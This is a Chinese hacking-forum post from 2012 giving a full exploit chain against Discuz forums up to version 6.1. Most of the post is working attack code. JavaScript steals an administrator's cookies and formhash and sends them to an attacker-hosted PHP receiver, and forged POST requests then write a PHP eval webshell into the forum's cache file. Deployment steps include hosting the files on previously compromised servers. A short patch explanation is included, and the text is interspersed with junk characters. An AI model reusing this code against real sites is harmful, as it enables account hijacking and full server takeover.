找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3636|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
) }9 i: b/ o0 |( o' s% j( @By racle @tian6.com( _* I* i' D6 N+ P( D
欢迎转帖.但请保留版权信息.- G- C8 ?+ g/ t8 g  R/ s& s
受影响版本iscuz<=6.1.0,gbk+utf+big57 h/ O- R2 v( s- ^' P* t8 j) Z

$ N% J6 I) g' M3 \& ?新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
5 O2 H; P" A. L, }* z, V
6 |! [! d' L& P8 m; y7 G5 V- Y
' k3 l1 l( w" B: |) d3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706. S3 K) H* q- |$ |7 q( g. M) S
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.# t8 u) d. [8 |
  {; @* k8 Y# s6 ~: j
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..' K: B& x' G8 N* g# b5 g% I. z
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS, g) |4 X5 Y  g- Y; @4 K" a  f6 [' ?

! V! R2 U2 L; T! B5 E
; k7 o$ a- U  t" ?8 s: F$ p----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------* k, W$ g2 Y& D5 G

6 _# k$ t& {# x# U6 W& I
  E4 Y) \- h, M, l% x/ D7 Tproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.  a9 D" j! Y/ \& @7 ?

; b# \6 W( |+ j$ E6 Hproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
/ P& p; L* A* |- t6 G: O
2 o; [8 S9 N: q+ p2 z7 h1 ~$ qproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
/ Z2 A5 f( i/ O" {" V$ s2 r% d8 \7 Y+ u3 b

0 s# r: T. {0 Q% }下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
) j: G  x/ T# y4 X& J3 E/ e' ^# V4 X! O; Q" I
        global $runwizardfile, $runwizardhistory;
: b2 p% O0 A% P8 r+ k
4 k: H+ G9 F) ~  I        $fp = fopen($runwizardfile, 'w');
1 c2 b& g8 m! E( `3 v$ q& T1 M5 ]# _, D
        fwrite($fp, serialize($runwizardhistory));
6 t* T' g. A9 W7 J% Q/ V* b: u; q0 R5 |6 Q
        fclose($fp);
+ v6 h4 r' M+ D: K9 x3 e
3 U- T% T$ G; p3 [1 H}
( r5 \8 X2 M# W- j. Z! p% X复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里./ S# ]$ z9 C% u% Y% w* p. p! S5 n
以下是修补的办法:function saverunwizardhistory() {  J7 o9 f" M2 _+ J8 [

- u8 H9 j# Q( H) q/ g        global $runwizardfile, $runwizardhistory;. [' U: [- |; P9 p0 j/ j
' F% i8 N- Y# G5 l/ ?. {; B
        $fp = fopen($runwizardfile, 'w');
) U% k! @+ o3 d1 J' k: k
3 |% D, A4 e; e) z8 d* B" o5 s6 h5 N        $s = '<?php exit;?>';) ^/ E; _* f! h6 f, l1 b
' G1 M: F& |  N7 B. c
        $s .= serialize($runwizardhistory);' y. `& e& r4 `
6 s+ Q6 W7 x5 ]8 D. ?! Z
        fwrite($fp, $s);5 n7 j" z! Q9 L! P% Z- e

: w* G/ q& `! d- G        fclose($fp);
7 J5 w) H& K* }# J* p, ]7 L4 U8 K, T8 q7 w% @2 b% w: I
}  E, e+ r% A$ ~0 d) f) a* U. {0 r
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
6 S; i/ @. `, U! N* h9 _4 V# h. W( q: n( ~2 g8 T
4 g1 n+ F" W, u+ B* y. s

  s7 j0 Q* u6 K3 m% k9 F7 P; p----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
! I3 {' O) ^* S) W7 v- U6 X- ^, i: r
) {1 G2 G8 Q( f* N7 F7 o6 @6 I
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
% ]1 r3 y. B, |. I, r3 ~* A, q9 t  A
/ P! e" N( O$ c) V/ Y我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.6 w9 ~2 `" e9 F. ?% L* R

" X6 {8 L; ~! J0 h" F* M+ d. l这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
. ]0 F  b* N7 Y: j, S, g1 N- k  ]$ N4 W. f( ?! \0 j/ X
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
: I1 i' \) Z3 S# o8 @9 r) c3 _2 s
' L6 @% i; F( z" ~# K4 yvar url="http://目标网站/admincp.php";      8 x4 S0 f2 t4 Q2 X

2 n5 j7 s: R( h: T" ]% n/*获得cookies*/* {. R1 f+ G( e

2 c. s  B6 s# c. T. L* hfunction getURL(s) {
. U7 b7 o. `7 k: W: P
' _2 p' V/ k8 c2 e- a! ?var image = new Image();' @* K7 \" P! u% O6 e% P3 ~
; ^- s" R2 x) v) G
image.style.width = 0;
" R- S. o6 g5 n) P# D
/ z5 w5 G6 D3 Z9 u$ B! p0 c7 cimage.style.height = 0;: B$ W* A/ |) j7 L; W

, k% e( B$ f9 {* V9 Limage.src = s;
( ]" R2 ^! K% ^/ x9 w; t5 ^" a/ q8 ^: |% _/ T' ^. L
}
3 j3 g+ F5 e' s" r* |
' J. V6 F, A6 y% u) a8 g3 |$ TgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php% x# K, v" O; K& j2 J
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];0 e- ]7 a5 s. o7 M
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
' c4 e- J, v  z& ^6 U" j+ u8 j3 @/ e: C, Y: [- y$ p( k

6 r8 @3 @. k7 m6 f9 Z1 K' L获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";6 q0 F" |9 Q- ~/ a
( Z) |' m+ A& L' h1 y6 I0 H

9 Z+ `, n% q8 m2 Q. m1 R5 T1 G* r& j' B! ^
/*hash*/* V5 H, w6 M2 [" a4 x) u3 R9 g

* A$ Y5 C6 k6 u8 Mvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");4 [; T8 {: X3 r: u7 m
- d/ V' F, b/ K: [
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);" i4 k6 a. |! n

; I1 A1 Y* W" W1 dxmlHttpReq.send();! z, }' k/ {+ r: W3 o2 N
9 s' w- o& f/ r  G" y% H3 _( U
var resource = xmlHttpReq.responseText;$ x" M. u: T: D4 W2 w

: V% y% w& c( g8 ~8 y* q9 M, x5 J9 }var numero = resource.search(/formhash/);
; @# J" u6 R8 Z. L2 a7 W9 p- b: o% V/ {) S+ U; k
var formhash=encodeURIComponent(resource.substr(numero+17,8));$ S1 D# a2 `$ B7 _: C% M' \
# @. z* m; H# \, ^6 g% ^
/ y- \6 Y' j3 U; S5 E
6 ~) |) z  l2 e
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 % l! s3 r" u, l, v  a" g7 [; @

! ]$ q/ }( F, x1 R$ w2 ^5 u' [; {$ r$ bxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 0 ]$ y5 o* y: V' h: S. B% A

1 F0 x7 y/ y0 T+ v0 \6 U3 S5 F4 a* LxmlHttpReq.setRequestHeader("Referer", url);' _& G- i& `$ o# M7 K/ p; O
" L7 ]' T' h* s, Q: C8 T
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
1 ]0 Q* ?- {0 w* Y6 z7 G( e& ]" d1 ^
9 k% ?( H: b5 Q8 i  Z) o& m# j1 d5 CxmlHttpReq.setrequestheader("content-length",post.length);
) [: ?% Y7 f6 m& X- F2 }# ^5 n( [/ U- @7 G
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 9 r3 @8 z( `2 J. v3 U; q5 _

$ V' E' \4 W( \( n- t$ YxmlHttpReq.send(post);//发送数据
6 L* ]/ C, o% s+ f# h* |6 x' d复制代码这里HASH我假设正确,这样提交,也无须cookies
( e4 c7 M8 M) S/ Q" \
2 @  A! X8 E1 c; v& k% n7 _7 E再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);( P' p9 s) G) J- S6 g0 O) D! O% ]
9 X6 U3 @! Q/ r, Q( a9 k! r; P
if (!$sock) die("$errstr ($errno)\n");
9 a- d2 y! v) k7 l1 X# _( O
3 ]) S8 h9 h% m8 {9 H5 ~$ f$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';8 k4 k5 t+ ]% P' o

# X5 w5 y* K$ z8 v# D, c* A
- v' {2 I$ c, V5 F0 c( j$ X/ U
' b0 P; i. o1 |. `fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");7 i4 R) {1 J  v. O! G

, x9 E+ x) C2 h( ~: yfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");- r3 `: z5 x5 `" \/ W' S

5 N/ }8 F! Z* o5 `9 h4 ffwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");1 V6 `& H1 _2 g4 J& i2 J

+ A; {1 a/ D+ ]* \& X# x% {7 l8 ]+ I8 Xfwrite($sock, "Accept-Language: zh-cn\r\n");
0 Q! B9 @8 E( H) |  c3 T" v- T+ d/ I" P- I& d/ C) W
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
9 B# e$ l2 h6 o$ o
4 I* x' L- O/ h1 yfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
8 N& {3 ^  Z, T- W3 \
. E4 K$ @7 z: yfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");+ J# e; h3 j1 f: g
; `$ p8 z+ B4 I# M& a: m  D& t
fwrite($sock, "Host: $url\r\n");
. z" A: K% C. I
# \. _6 p; H+ L( ]1 \fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
: G* e5 [8 g" v8 J  _0 P) C8 r! k8 j( q: ]& ?
fwrite($sock, "Connection: Keep-Alive\r\n");
+ _- I! r1 H8 D% f2 C/ Z" {( ?) W$ F1 k
) G1 [- x& c8 Wfwrite($sock, "Cache-Control: no-cache\r\n");
8 d0 X4 |' N. t- Z2 M! t
* m# T8 g+ ^: A) m1 cfwrite($sock, "Cookie:".$cookies."\r\n\r\n");& Y; G: n- f+ |2 M

/ L9 d7 b4 l, `1 j8 H# \# o9 rfwrite($sock, $data);
3 A$ x# z! Q/ W; o4 [  ^
. @5 J7 h  D' u' Y
5 l0 d. R" n# f- T
. q/ x5 U) J3 n7 K9 T) C0 X$headers = "";
8 Z1 t8 }4 S* y
4 U. |+ D, A& T8 u6 U8 n7 Cwhile ($str = trim(fgets($sock, 4096))): f" x3 Y/ ^8 }
9 x3 m$ [2 Q% a# V8 \
     $headers .= "$str\n";  U# S; |# o( }0 f- o% V

0 M3 p, A8 H" j9 z* \7 o* p) Kecho "\n";
; _/ e! Z+ l) b; w( f5 a0 p$ h& `# C8 U8 j: \' Z! U( I
$body = "";
$ q8 F9 I* F9 a& N: C0 K. ?) d2 W5 H
while (!feof($sock))
8 T- W; ^; v( |; {
  Q4 W/ S+ r: b3 P& W) R' G# _& ?     $body .= fgets($sock, 4096);' w3 ]8 b5 h$ @6 _) R

" }, v3 O/ a: z3 @fclose($sock);
" j& q* G; ^5 X/ p1 L: d! P3 w. S/ E) b7 y4 k
echo $body;
# U/ I: K) X; N# A复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
; Z1 e" ]4 v& ]  k  f! a
* z1 f" a2 Y0 D
1 V$ O1 e! v' V+ L8 A6 F, \5 G2 M-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
) D% ?- m# ^( o. s* f$ V; s0 n# ~' f# d7 _: ]

7 a/ x1 ~5 t* _* ^# h: ]1HP SOCKET利用方法首先打开racle.js& o' ^3 M3 f! q) ^% O
4 g) X+ n5 O2 k9 `6 s5 P
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
* I& Z5 k+ y$ ^$ K! T# U
1 _! e# B7 q! w) b: M0 d1 ?6 _# T* g9 a: V: p1 Z

" `# M7 Z! F) s( E  E( g然后打开racle@tian6.php* V  z& ?) U2 g5 K8 v9 ^
7 |# \# f- r" m! ?: s" N% s2 L
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com) o1 x& c9 g; g

( n* O* {0 R. s4 v, Q- L& l+ n$ |; R' ^8 `: H' x
! O7 b9 s3 S+ r" Z9 H
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:# J9 I2 b* e: Z4 d
( G  @' [3 M& D. u' y
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));& s$ m# e9 V! d9 X9 D0 s5 U
1 y# U5 h" K: T, d0 D0 T
  |0 D2 w8 C% q6 i8 Z* f7 D, ]
6 X7 _4 H! i, ~  A+ B5 E* s4 I
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
- Z/ v; ]9 |0 C4 z/ L6 v: W  A复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
+ D) T& S% K9 A; R! G/ q; q1 q1 i* G" w( }9 s  W

+ e; g) G, {1 H* D$ S: `0 w, X2 H, U7 U( B
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:7 b4 N; ]' G5 o7 Z$ a2 `" f( c

" e+ U7 G# A6 Svar formhash=encodeURIComponent(resource.substr(numero+17,8));
+ ?5 J% [: Q$ {3 c: Y7 `1 b+ S# Y1 {. ~/ P1 e8 G

6 B* d  a& ]% v" l5 ^2 V9 ?! [' N4 a2 l6 ~' Y( D3 |, T
var formhash=encodeURIComponent(resource.substr(numero+9,8));% G) d  d% l" n
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
7 y4 @2 y* j4 q* y: k- o8 ~
/ T5 y! r* v7 B2 U1 \# @2 o如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.- s2 H/ y! ]) c  _' V
0 R; ~# R% W  l5 p" R" k
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
- [1 m' _5 Y1 c2 a3 @5 c& d5 ]3 L4 f( O
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.  [. s5 T. c: Q- C5 e2 t

9 F4 \3 N5 q! l% @) k: a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表